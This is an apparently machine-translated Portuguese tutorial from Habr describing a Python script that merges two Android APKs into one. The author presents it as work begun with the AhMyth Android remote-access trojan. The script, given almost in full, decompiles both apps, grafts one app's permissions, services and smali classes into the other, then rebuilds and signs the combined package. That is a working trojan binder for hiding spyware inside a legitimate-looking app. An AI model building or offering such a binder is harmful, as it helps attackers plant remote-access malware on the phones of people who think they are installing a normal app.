Ligar dois arquivos apk em um

imagem

Decidi, de alguma forma, colar dois arquivos apk, mas não há muita informação sobre como fazer isso na Internet. Depois armado com o Ahmyth Trojan para Android (sua fonte ), uma jornada começou no mundo da colagem de apk com suas próprias mãos. Brevemente sobre isso ainda mais ...

Brevemente sobre a essência do problema:

Existem dois arquivos apk (digamos 1.apk e 2.apk). A tarefa é criar o 3.apk, que colará o apk 1 e 2 (e executará suas funções).

Em resumo (código python):


Nós temos:


1. Pasta apk - para arquivos com apk;
2. Pasta tmp - para arquivos descompilados;
3. Pasta Ferramentas - com software adicional (como apktool.jar, sign.jar, testkey).

Primeiro, determinamos a pasta atual em que trabalhamos e as pastas em que vamos descompilar:

#!/usr/bin/python # -*- coding: utf-8 -*- import re import codecs import os from os import listdir import shutil import subprocess import datetime pwd = os.getenv("PWD", os.getcwd()) #   apkFolder1=pwd+"/tmp/1" #  apk1 apkFolder2=pwd+"/tmp/2" #  apk2 

Em seguida, descompilamos os arquivos apk na pasta tmp:

 print " "+pwd+"/apk/1.apk" subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True ) print " "+pwd+"/apk/2.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True ) 

Após esta etapa, temos duas pastas / tmp / 1 e / tmp / 2 com arquivos descompilados. Agora a parte divertida é a união dos manifestos !

 print "  " mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read() #   ,       service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] #      permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]#    mainfest2 = open(apkFolder2+"/AndroidManifest.xml", "r").read() #       new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")] #    new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w") new_mainfest.write(new_mainfest2 ) new_mainfest.close() 

Agora em ordem neste código:

Encontramos o arquivo AndroidManifest.xml na pasta / tmp / 1:

 mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read() 

Neste arquivo, encontramos todos os serviços e classes declarados:

 service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] 

Na pasta AndroidManifest.xml / tmp / 1, copie tudo da marca "<uses-permission" para a marca "<application". Aqui estão todas as permissões que o programa precisa:

 permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")] 

Encontramos o arquivo AndroidManifest.xml na pasta / tmp / 2:

 mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read() 

Depois disso, precisamos combinar tudo isso em um arquivo , para que tudo esteja no lugar.

O novo manifesto (new_mainfest2) consiste em:

  1. O início do aplicativo AndroidManifest.xml 2.apk (do começo ao fim das permissões necessárias);
  2. Adicionamos aqui as permissões do aplicativo 1.apk (permission1);
  3. Adicione tudo o que está no AndroidManifest.xml do aplicativo 2.apk do "<aplicativo" para "

Adicione todos os serviços do aplicativo 1.apk (service1);
Adicione os restos do aplicativo AndroidManifest.xml 2.apk.

 new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")] 

Substituindo AndroidManifest.xml na pasta / tmp / 2:

 #    new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w") new_mainfest.write(new_mainfest2 ) new_mainfest.close() 

Isso completa a compilação do AndroidManifest. Resta copiar todas as classes de / tmp / 1 para / tmp / 2. Mais precisamente, copiaremos as pastas smali (aqui estão todas as classes de aplicativos) e desconhecidas :

 subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True ) #   /smali apkFolder1  /smali apkFolder2 subprocess.call("cp -rn "+apkFolder1+"/unknown "+apkFolder2 , shell=True ) #   /unknown apkFolder1  /unknown apkFolder2 

Bem, em conclusão, você precisa coletar tudo isso em um arquivo apk, assinar:

  print " apk   "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True ) print "  "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True ) 

Como resultado, o arquivo 3.apk aparece na pasta tmp, que é a cola dos outros dois.

PS Nesta modalidade, ao colar as permissões de dois aplicativos, sua comparação e adição apenas dos que não são não são verificadas. Pode (e haverá) duplicação na declaração de permissões. Mas, nesta fase, tudo funciona com duplicação.

Fontes:

AhMyth-Android-RAT

Source: https://habr.com/ru/post/pt422885/


All Articles